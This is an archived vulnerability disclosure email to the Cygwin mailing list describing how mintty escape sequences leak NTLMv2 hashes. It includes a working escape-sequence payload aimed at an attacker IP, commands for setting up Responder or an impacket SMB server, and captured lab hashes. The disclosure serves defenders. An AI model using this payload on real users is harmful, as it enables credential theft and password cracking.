DKIM-Filter: OpenDKIM Filter v2.11.0 delorie.com 47GERiW1781321 Authentication-Results: delorie.com; dkim=pass (1024-bit key, unprotected) header.d=cygwin.com header.i=@cygwin.com header.a=rsa-sha256 header.s=default header.b=xP5NcaHn X-Recipient: archive-cygwin AT delorie DOT com DKIM-Filter: OpenDKIM Filter v2.11.0 sourceware.org 817AB385DDEF DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cygwin.com; s=default; t=1723818462; bh=//x0257wUulzhTtNcwks4ElyRvj8WeZVtD0WFGD61ek=; h=To:Subject:Date:List-Id:List-Unsubscribe:List-Archive:List-Post: List-Help:List-Subscribe:From:Reply-To:From; b=xP5NcaHnQf1iU4qlR2y/wDWkWl1iQrqhTrpslZkdcL4mgjCzTiA3xQNy9V/9mU+8h 1hw+tBIKnsA2EuwjMV3MHjVJSIrpB5NJ3sI01M2UWGsx6dqrwgEB2kivai+CNMvbXa P+Ruau5R8tAOlleykWINYqxqcJJkU4yHJkwyfJqY= X-Original-To: cygwin AT cygwin DOT com Delivered-To: cygwin AT cygwin DOT com DMARC-Filter: OpenDMARC Filter v1.4.2 sourceware.org B906D385C6D2 ARC-Filter: OpenARC Filter v1.0.0 sourceware.org B906D385C6D2 ARC-Seal: i=2; a=rsa-sha256; d=sourceware.org; s=key; t=1723818395; cv=fail; b=CuojeOII0eUTNx5eOWP90hPxuZqf6JrJ4XJyKkjOW5i5YOA8Q4X3/0NqXhqzDbWeRh6nvQJRoAciozvODaZMIBJ3GmpO1o6L3evuQFB9bYPOwJYzsltJPVFnTZDjuO963M7jStGsCAJVNXoneBn06/CcZppfEVkSSaAkLa0rDzY= ARC-Message-Signature: i=2; a=rsa-sha256; d=sourceware.org; s=key; t=1723818395; c=relaxed/simple; bh=AU8zM1ntd+bTAd0S/xntnQORwSBLZ3moCuca5LFQUwQ=; h=From:To:Subject:Date:Message-ID:MIME-Version:DKIM-Signature; b=odv8dTlNJFjxek9h4OZAqyCoiuNe9H31a9b1tOKWlk9QumUAUTdze+HSbthoUosL91BXSI4V7xylhbgoWi+LYlmlubRnpc84nT0FbYgrn3S7Gi9355+itN4djRqWjqr8Hhhyotpb5jfyFGZfFdloQ0/TRg3MTe5hEeVUmjCOLBo= ARC-Authentication-Results: i=2; server2.sourceware.org X-TM-AS-ERS: 10.36.230.33-127.5.254.253 X-TM-AS-SMTP: 1.0 TVVDMS1FWENIMDIuZXUudHJlbmRuZXQub3Jn emRpLWRpc2Nsb3N1cmVzQ HRyZW5kbWljcm8uY29t X-DDEI-TLS-USAGE: Used To: "cygwin AT cygwin DOT com" Subject: ZDI-CAN-24744: Mintty Path Conversion Improper Input Validation Information Disclosure Vulnerability Thread-Topic: ZDI-CAN-24744: Mintty Path Conversion Improper Input Validation Information Disclosure Vulnerability Thread-Index: Adrv55dLks+V0uQ6S0WGkjCupN78zg== Content-Class: Date: Fri, 16 Aug 2024 14:25:40 +0000 Deferred-Delivery: Fri, 16 Aug 2024 14:22:52 +0000 Message-ID: Accept-Language: en-US, es-ES Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: msip_labels: MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_ActionId=0ce7e141-7610-444a-a481-b683ea130000; MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_ContentBits=0; MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_Enabled=true; MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_Method=Privileged; MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_Name=Public Information - no protection; MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_SetDate=2024-08-16T14:21:13Z; MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_SiteId=3e04753a-ae5b-42d4-a86d-d6f05460f9e4; x-ms-publictraffictype: Email x-ms-traffictypediagnostic: DM5PR0102MB3477:EE_|DM8PR01MB6870:EE_ x-ms-office365-filtering-correlation-id: 549ada78-8588-4df3-c44d-08dcbdff5857 x-ms-exchange-senderadcheck: 1 x-ms-exchange-antispam-relay: 0 x-microsoft-antispam: BCL:0; ARA:13230040|376014|1800799024|366016|38070700018; x-microsoft-antispam-message-info: =?us-ascii?Q?s9pJMB07QgtYrEImsY0LVqECJT7rhzvuw9InEU5SRbjce8JEEttzssrMN6Ux?= =?us-ascii?Q?oh4oHC250ptCfT5mGpcm2VP7powFY5BjiBH6nMSHQS/0ZzjcXjnPNGxnnG5G?= =?us-ascii?Q?98xbFAQPOda0OIES5gvILyCZ7q+/wTJMhfM5+Yf5Fed9++0XF00uJLRgxDdV?= =?us-ascii?Q?HN/TfNJ1wZZkmJa/ZyFLDRQU52pYUfLgudtMNxBo5VgDaVPFlorEYgNANJeJ?= =?us-ascii?Q?LlMD3Pso6/G0Zw5vgn1W4Sjn6KX1kenUiM+T2W6IdwyAHaBMe62sDz/hcClB?= =?us-ascii?Q?AW0MPt0Fui+RB/s+1A7nPQ/3b3rIu8TUHxuy9rFVliz+MS0BP47H3gHNsmlS?= =?us-ascii?Q?9vdn8/IyFanSWdhVckK573lsuioiV5Nwkg+qrzSU0bnM7OeT+8CIidpF2mhx?= =?us-ascii?Q?LJmynzlsxx8LIz6q3iOEjiF6BDb0B8r3MVpPML3P8q6Ij+IjUgZWdoUSNN5A?= =?us-ascii?Q?7mwb4HvWE3oqS1rOP/yzCu94u6vPvheqdWeLtUB6F4R5Rub1XCLM3VDo9VSn?= =?us-ascii?Q?0qWYj06Mg3WXf+zFiCCqEUe+e3B86xtKVzvdqQ3F8XZ2nuHrTNAHBNeRUha/?= =?us-ascii?Q?2MZQO8Fwk+MZi1sBAe79eLIQVzHMgk1ntUz4BxrxEBGLyWWOeWm+8GfqeSzd?= =?us-ascii?Q?1CPDHWQJJwF2r+MwCByqqrNoYvpSGE2EUtej+88Aco3ovkXcmqWXhi/Xrt1J?= =?us-ascii?Q?1dh03d40zaLFf1e5Zd1GO5tmmRXx/VlFAcvZwhuFq5NFaZRKxLsWhQmBOFro?= =?us-ascii?Q?dXobs5fX0HP5R+Om4dAOXYcx6LXlm3Ju9caeP9bxrc2btxbffTKXYp2m4dWA?= =?us-ascii?Q?S8HYzdr6WfvljyPSU2OOuiUeefQ4RXVmxuXa+azA2vhTceC3D5R4fRGcDivJ?= =?us-ascii?Q?PLsjBQQU10xJ9riiKRKckJgPjn4+i5vSignUGNM1KOdah97n6c+YTy+ulFNz?= =?us-ascii?Q?S+XSKoS3uFzAQS/2K/urQ5DY/D4HkArmErJUMzqOgsx/xKC6Xp8ri/jo9VLZ?= =?us-ascii?Q?W7p5PCet0kHbDFth5nU1Fpz7OqvjP8ZD19wfVKXGOsNeTyGuUjUGPjsEFH4B?= =?us-ascii?Q?n8Kqv3aZSdSIn+jH4aILA2Cka0KR3c9Uld+V4EwPgCXvhfl99nmf8G5ipiQQ?= =?us-ascii?Q?uLbYmn7lRFQ7QlWFK/OJo2dIIoJyZDOK9NAyyUDfF8qOQDRyQJ/ZY4wCKtMu?= =?us-ascii?Q?fk9yU8JWmUSnOzDPK0yc8MqKX61DNVRte0i/0Fmf2laXKWbO8vq/OlbXaOnw?= =?us-ascii?Q?drczvlsJKMKKMrOZ0Vv/hdxyp2cGAjLlCayaREstlWK4/I15VKoh7AuWSzGc?= =?us-ascii?Q?miQ=3D?= x-forefront-antispam-report: CIP:255.255.255.255; CTRY:; LANG:en; SCL:1; SRV:; IPV:NLI; SFV:NSPM; H:DM5PR0102MB3477.prod.exchangelabs.com; PTR:; CAT:NONE; SFS:(13230040)(376014)(1800799024)(366016)(38070700018); DIR:OUT; SFP:1101; x-ms-exchange-antispam-messagedata-chunkcount: 1 x-ms-exchange-antispam-messagedata-0: =?us-ascii?Q?kcP6jyblLEQO8YRqnncFbUQ4kztrDNxuoiuNLx+jTu4i4yQFxL/45oNxjuvI?= =?us-ascii?Q?mdYbhplxUcskj87z6kLJ1dVM0Q86MzKCmv38fLLaIw8E4znJJGKEzHNefDp7?= =?us-ascii?Q?PwArYDsfP5elRJCiKgAVE1flbv95fX8SCbZHqfs7GLbbyYv+Zp7l/386yDPM?= =?us-ascii?Q?DpkRKV2UUE9gkMzcTniaM1TNOREezgfIuYn64+LiDd/KxDbP1uuk8uXvZOPf?= =?us-ascii?Q?Q3Yf+z2S82tcqWqbVZnySp7If9zPUE9tK0TeXzAGx7UciNvYQ9qrg/NU1Jas?= =?us-ascii?Q?OSN5KRgI/3me5WtRjLCh35hmPJhOGaybJGXsulP3fWiwFeyhiAmGF9edVqkz?= =?us-ascii?Q?i7Tt/F77bzq+DzHwAttPAxHz7lx+va0GJf8yVgqnSGNaChIdgRfZ5mknMxj3?= =?us-ascii?Q?8z/sRy5CTbVTwx/L5a/LJxAX7EIwzZYI/T8ObbT1rmKyGrPqpk4LYUnEBCJw?= =?us-ascii?Q?LZkje0NmVUDGHsQu/CRBAY6rFo0aO4CNYWaSVfwCkTLWL6KbAyOXHlnWT+ya?= =?us-ascii?Q?JqtT5Sk3Qtu+fK55qREzAkFIlbcXh1+8XsNbgo7ZYrCurKu/9XrAyRHvTdzC?= =?us-ascii?Q?rDzWYzKi/93Y5gFZGrSMujPvYdyNrXKCGrfIP1gL/lUP1c4zAFm3RIxV6+Jg?= =?us-ascii?Q?EWbLAoL17gsznJrMsS8K3CLo36Qa0WsdVC/W/YPWDyPg9OX9rpAM/SJT4xog?= =?us-ascii?Q?HFcL8GHpkKyMw2J2udBkOWSPfHqNsClEHzv+NqZZiZUoHynl+bRZTxJ/KWkW?= =?us-ascii?Q?YFn8MTLHa5bmvwQn9/oOpuL5GG3lDRewk9xmyze1RD5UU4zQMeI5vx+7jq0M?= =?us-ascii?Q?m4TVJ9fYGtxPj5ZyRhU/uIOt3x7egUoXVwX5L44gy02UmySCGF/FC+SX3VJ8?= =?us-ascii?Q?NlxvH5Epo90RfxCC9uFgl4PJ9e9Js7gNqbGAqnJCd5MIELtOFYwrDoi1rISb?= =?us-ascii?Q?rNqB0N7tBDftm7fIMRoDNrFYgcZVzsjWStFmPD1B8XYwZCg04zHqlVIi8hsG?= =?us-ascii?Q?29/356EaBEa9PQnvpTnh4gQUt3HSDgFRY1fgXQHx60+2ai/8rcAmDLM62BRk?= =?us-ascii?Q?wlJ7QT2eXQpopbfHj/Fv9HZSQ3XIyT7PCSCfY92fGXa3lUTLF4gUdxPkYj/t?= =?us-ascii?Q?UPjh6pE8qIVV2VkryxylpsgkcmIWAnk4KRfbEH3CPv9OKo06HdiWUUSGiOqA?= =?us-ascii?Q?3buvD/zy44fN76lcqTzgWFqnqceG7FSZpA5oNl0ZqdIIYQudEkZF6hfA/9+h?= =?us-ascii?Q?gmv7XKufODHm519eORAT6UWs+eiDKDxH4hpiQ6VwKlneO8lgRR9oESaErocl?= =?us-ascii?Q?wMetC4C6t7bY4PHM38O3l0/EC/8TqBOpHpN+m7xYZwYAtCexFI/Nt8NaSLjI?= =?us-ascii?Q?YUG9VKC/gW2JBQuoTdrq3hRkMsQ8zdxOxU5azr3WOol14NcWkRktWLnwcMAW?= =?us-ascii?Q?Rh4mZ5aJemQbkjxnbki6pRkc820XqEcJfUrc4L1ayi8zBpandAzlqG/ZJh9O?= =?us-ascii?Q?+HKklgrbA4tasdJ6nBL1ubWKJI+yIHGTSj9FlMdg63mIecMxX9Pq4rBb+ZEt?= =?us-ascii?Q?V4knESFyBkGyUTmmQgtk2WTWagYrkB5qQKq/JfGp4hvYqxnmNakxYC5xlD0u?= =?us-ascii?Q?aQ=3D=3D?= arc-seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none; b=Z9Ko43Vmv/GWsPFlMsWDsURElfQ+VEAfy0GDNvYfjucPG9RactrutJrhgWc5rc7hcGS4IRSzrYGcxSNPTczWIFG2pYY2RLCGo6dNjSm7TmLWgy54r7FP9F9PlBM3eM5hRxgWp+zml3cx+s6OrvTYbcSkdvHyCl1m+6mGpsBZq+M3+foWTTuvCCVQ/XpWmIFBuv+ndU1Dv6LlrFUv5miC74WhLiz3nLMOB2I4yKsX2LlmHNwcfNojR4DFeW74UqPiU75HIr7vJUF91yPhMpK+TlmbN3ROF5E2B7hWVXBDE92vJ7eI0p8LZoYNzmBncj8vAg0VkuqFLCAopuy4L+U0+A== arc-message-signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector10001; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=bH+qZeZugDmrhl2THJeKAaItPrJI90pbJdbt9Zg8n+c=; b=A/A7yhBXds3w8ni3IC5LakXVPJ+X21VjEqwJeKfhDQs+xhzzmAzJ2mbMsJshtfQ6YheVNxtDSSewrLovrhJer8DtDDwAj0mtZ9ZAf47ZzJVlcHJTjIy3aFONGvpiFaQpNiZLYUfQ33HQjAj0JfI5ur2jKAZHNAX/xwaeJZBDxgokQPvmAU+NIukzpNRLHr6XBP9s4JsJWiPO82esno1oWqkygrQqu2QOqwviqhAMG6pif6V+Zqt2bPSTnj3wZcRUe8XQTMqlhwxYA2HB5qnsFBelk/h4zMcw17y4Sr49TGIMhCoibrOLVkOdWTDn8O7/8hhEsl0VUKsO+ccY5IVFVg== arc-authentication-results: i=1; mx.microsoft.com 1; spf=pass smtp.mailfrom=trendmicro.com; dmarc=pass action=none header.from=trendmicro.com; dkim=pass header.d=trendmicro.com; arc=none x-ms-exchange-crosstenant-authas: Internal x-ms-exchange-crosstenant-authsource: DM5PR0102MB3477.prod.exchangelabs.com x-ms-exchange-crosstenant-network-message-id: 549ada78-8588-4df3-c44d-08dcbdff5857 x-ms-exchange-crosstenant-originalarrivaltime: 16 Aug 2024 14:25:57.6076 (UTC) x-ms-exchange-crosstenant-fromentityheader: Hosted x-ms-exchange-crosstenant-id: 3e04753a-ae5b-42d4-a86d-d6f05460f9e4 x-ms-exchange-crosstenant-mailboxtype: HOSTED x-ms-exchange-crosstenant-userprincipalname: 3lZ5buQrOSe66gInQGA1RArj5w2vk5CBO6SNUSFLrubBK1rd5X/XWti+MyYWiboC6fPSCo9EDLjlkc4IMoOuQFCsxEj+K+/Gbb+vBiKV7uc= x-ms-exchange-transport-crosstenantheadersstamped: DM8PR01MB6870 x-originatororg: trendmicro.com x-tm-as-product-ver: SMEX-14.0.0.3197-9.1.2019-28598.003 x-tm-as-result: No-10--46.476900-8.000000 x-tmase-matchedrid: 2rB+w6GmFBQ9AUcVR4lIKdWLjs01yYol+r0ocKHLWs4uppYmjvdmaZo3 ZhoZfMCcGQJAXy+lioORdDZjVEcmN1xGskd8/aqejMem+qTHLzy7F1YQUoOzLJJzTlG2bFui3PU VluSQ9najC/AoEEbGHgbQjJTpuY6oQBhMr1uibUML75tlYYJAg0hKo7u4JPxLlJvTov/o2fUKB0 GcAaj+zfWtQGuD8WqywQpNB/B8dZaCab4vKr8haZtzMAQXC5KWxMg/BNzbeSNYf8LrTKM9HMXSc fxJgaw9H0nsF1gN/Vq+KlbpCGW9I5g0Xdwl4drVprktoeU+bT74rwQRo9u0soDK9Yramn5QdAXL nkkcBZcfbGiTpwYY0NEqhEzm8/CAJnh8rezR9+tnSEpeJ94l69dP7KM+8gexZDry68hdbV5tIu9 ZccV+dt1oZ2XPco4giJAfZklTeukcQ16ds2Fzn5IdC0Q5JDAcR/Lj9ymbWRI5dFqRzWYS5gSgqz sOhOQ6xwmKvY6mvZOmxJyOfaii5k/Dqb97uFLauEKZe9OwaKwKEmq2HWwB6rcFkLQw9z0Gv1vHO Do997K55eaWlV4Z4wT3ICzoWRibOWFDqlxLZfokKbcMlSR3PI9Fkvaqp8xt9zxz+98nLbo8rVCt tWkeW/IawNVhBJbKjYddvl4H8cWt6JOt5ZqzVX5G0g7JhKCMXoNT4i7x/7fNJ/gqZkxnO+Xxg9L xIj3Wd7DFMjyPDgFb7jPgtIAd5kHVC6lXwVSfJAyjfrGeDwYG34IFXVeU70tpOwFnxtGLuePD2P reLM87oDYZdD/p7BMdPZXgVxhfCEL4eltNjXWqssgzfyy+3nwuCMDi78rn0FSNJl5my8TLIcKZm 0DMBBMBOq1xMWVtB73xunbyKrpnME/Jsn/m+g== x-tm-as-user-approved-sender: No x-tm-as-user-blocked-sender: No x-tmase-result: 10--46.476900-8.000000 x-tmase-version: SMEX-14.0.0.3197-9.1.2019-28598.003 x-tm-snts-smtp: E05EF38073EF0B1A4F597F70497CB6FEE5896C3C0536BE6112C63B2C9BD2A3E22000:8 Content-Type: multipart/mixed; boundary="_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_" MIME-Version: 1.0 X-TM-AS-ERS: 10.36.230.33-127.5.254.253 X-TM-AS-SMTP: 1.0 TVVDMS1FWENIMDIuZXUudHJlbmRuZXQub3Jn emRpLWRpc2Nsb3N1cmVzQ HRyZW5kbWljcm8uY29t X-Spam-Status: No, score=1.5 required=5.0 tests=BAYES_50, DKIMWL_WL_HIGH, DKIM_SIGNED, DKIM_VALID, DKIM_VALID_AU, DKIM_VALID_EF, KAM_ASCII_DIVIDERS, KAM_LOTSOFHASH, SPF_HELO_NONE, SPF_NONE, TXREP, T_SCC_BODY_TEXT_LINE, WEIRD_PORT autolearn=no autolearn_force=no version=3.4.6 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on server2.sourceware.org X-BeenThere: cygwin AT cygwin DOT com X-Mailman-Version: 2.1.30 List-Id: General Cygwin discussions and problem reports List-Archive: List-Post: List-Help: List-Subscribe: , From: zdi-disclosures--- via Cygwin Reply-To: "zdi-disclosures AT trendmicro DOT com" Sender: "Cygwin" --_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable The attachment could not be scanned for viruses because it is a password = protected file. ZDI-CAN-24744: Mintty Path Conversion Improper Input Validation Informati= on Disclosure Vulnerability -- CVSS ----------------------------------------- 5.3: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N -- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affectin= g the following products: Mintty - Mintty -- VULNERABILITY DETAILS ------------------------ * Version tested:3.7.1 (Git-2.45.2-64-bit.exe) * Installer file:Git-2.45.2-64-bit.exe * Platform tested:win11 23h2 [Version 10.0.22631.3593] --- ### Analysis ``` Several escape sequences can cause the mintty process to access a file in= a specific path, It is triggered by simply printing them out on bash, eg. \x1b]7773;//0.0.= 0.0/test\007 An attacker can specify an arbitrary network path, negotiate an ntlm hash= out of the victim's machine to an attacker controlled remote host. NetNTLMv2 hashes can be used to Pass the Hash, or password cracking using= tools like hashcat or johntheripper. It's caused by an api provided by msys2. The api is used to convert between posix and windows paths, but it also c= hecks for symbolic links, which is enough to trigger the vulnerability. The same code is forked from cygwin, so it could also be theoretically vu= lnerable, In the exploit, It used the escape code for setting the terminal icon OSC= 7773, but it can be done with other escape codes as well. For example, there's an escape code for indicating the cwd of the shell, which can lead to mintty `stat`ing the directory, which is sufficient for= exploitation. ``` The following cover most of the escape codes that could be exploited: ``` - OSC I / OSC 7773 - OSC 440 - OSC 11 - OSC 7 - OSC 8 ``` The call stack is roughly the following: ``` mintty: src/winmain.c:308 - guardpath src/charset.c:1104 - path_posix_to_win_w msys2: cygwin_create_path (depends on mintty's compilation flags, but it calls c= ygwin_conv_path regardless) winsup/cygwin/path.cc:3909 - cygwin_conv_path winsup/cygwin/path.cc:660 - path_conv::check ``` `path_conv::check` calls several windows apis that cause a connection to = a remote path to be initiated. Here is the reproduce steps. Setup an attacker vm (Linux based) and a victim vm (windows). Modify the payload for the appropriate ip address (attacker vm's ip): ``` \x1b]7773;//0.0.0.0/test\007 ``` On the Attacker's machine run either [impacket](https://github.com/fortra= /impacket)'s smbserver.py or [Responder](https://github.com/lgandx/Respon= der) with smb server enabled: ``` sudo smbserver.py -ts -smb2support test . ``` ``` sudo ./Responder.py -I enp1s0 -v ``` Replace `enp1s0` with the proper interface. Make sure that other smb services aren't running: ``` systemctl status smbd.service systemctl status nmbd.service ``` Print the adjusted payload from the beginning in mintty (git-bash.exe). The victim's hash should be printed by impacket or Responder. Here is the output from responder ``` [+] Listening for events... [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:38cf5ca194861c7c:05F329D= 7F39AEFE3C744671936ABC00E:010100000000000000D29167A9CCDA0195D8F1578A8B58C= 30000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:331cb34ad722601a:F71C80E= E1309C62CA4FF8E254A7AC1AE:010100000000000000D29167A9CCDA0142C3153183B2266= 00000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:b5bc3a6e83c4d7d7:40218E6= 2EF8DCA0023C166B568781059:010100000000000000D29167A9CCDA01797E79F388A237B= 30000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:ae5464fd841bcab6:F76567E= 68408F2B04E41B869711E76F8:010100000000000000D29167A9CCDA01E0A7FFF1FF381FA= 60000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:3bd0a49004b53416:F21B104= 294C18C82464FEDDC572E6231:010100000000000000D29167A9CCDA01BAAEF54AF54B725= 60000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:c089b70c3accfaf7:E6B708A= 8DA76027A16E76F79F5F24333:010100000000000000D29167A9CCDA01433CAD8EC5BCC31= A0000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:daa3eae276eaef28:AE4059F= 544451A21F5779DFB3192D9DA:010100000000000000D29167A9CCDA0110F73C1AE7035F2= B0000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:56c7b5b6c66d156a:9666582= 4D373D99E5F043EFE7724BCF1:010100000000000000D29167A9CCDA012F33E5442DE0DDD= 40000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:44db8723d9666e80:2DAC87B= C05CCECEB4BC8BFD8A9ED2317:010100000000000000D29167A9CCDA014DFB08158928127= 20000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:4f6f6e6df73e1d2c:884C66B= 57E2711811EE502E0796E8138:010100000000000000D29167A9CCDA0148213EEACAF1B72= 00000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:f1f9c2482522cd95:A0790CF= B87DD01F4E10F57F94D487109:010100000000000000D29167A9CCDA01F1D6F8F58822136= 40000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 